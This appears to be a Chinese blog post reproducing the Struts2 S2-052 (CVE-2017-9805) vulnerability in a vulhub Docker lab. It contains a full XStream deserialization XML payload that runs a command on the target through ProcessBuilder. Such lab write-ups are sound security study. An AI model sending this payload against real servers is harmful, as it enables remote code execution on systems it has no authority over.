Struts2-052 漏洞復現
阿新 • • 發佈:2018-01-03
hal pty sha sta bject 程序 html message command
s2-052漏洞復現
參考鏈接:
http://www.freebuf.com/vuls/147017.html
http://www.freebuf.com/vuls/146718.html
漏洞描述:
該漏洞由lgtm.com的安全研究員匯報,編號為 CVE-2017-9805 ,漏洞危害程度為高危(Critical)。
當用戶使用帶有 XStream 程序的 Struts REST 插件來處理 XML payloads 時,可能會遭到遠程代碼執行攻擊。
Struts 2.5 – Struts 2.5.12 版本,據稱還影響到 2.3.33 版本。
環境搭建:
Ubuntu(搭建靶機環境)
apt install git docker.io docker-compose
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-052/
docker-compose build
docker-compose up -d
創建完成
漏洞復現過程:
向頁面發送POC腳本
# 註意數據包頭要有這個
Content-Type: application/xml
# POST提交的數據
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> # 輸入命令段<string>touch</string> <string>/tmp/test.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
通過執行touch命令,我們可以在目標主機生成任意文件。
這裏我通過驗證腳本進行了測試
Struts2-052 漏洞復現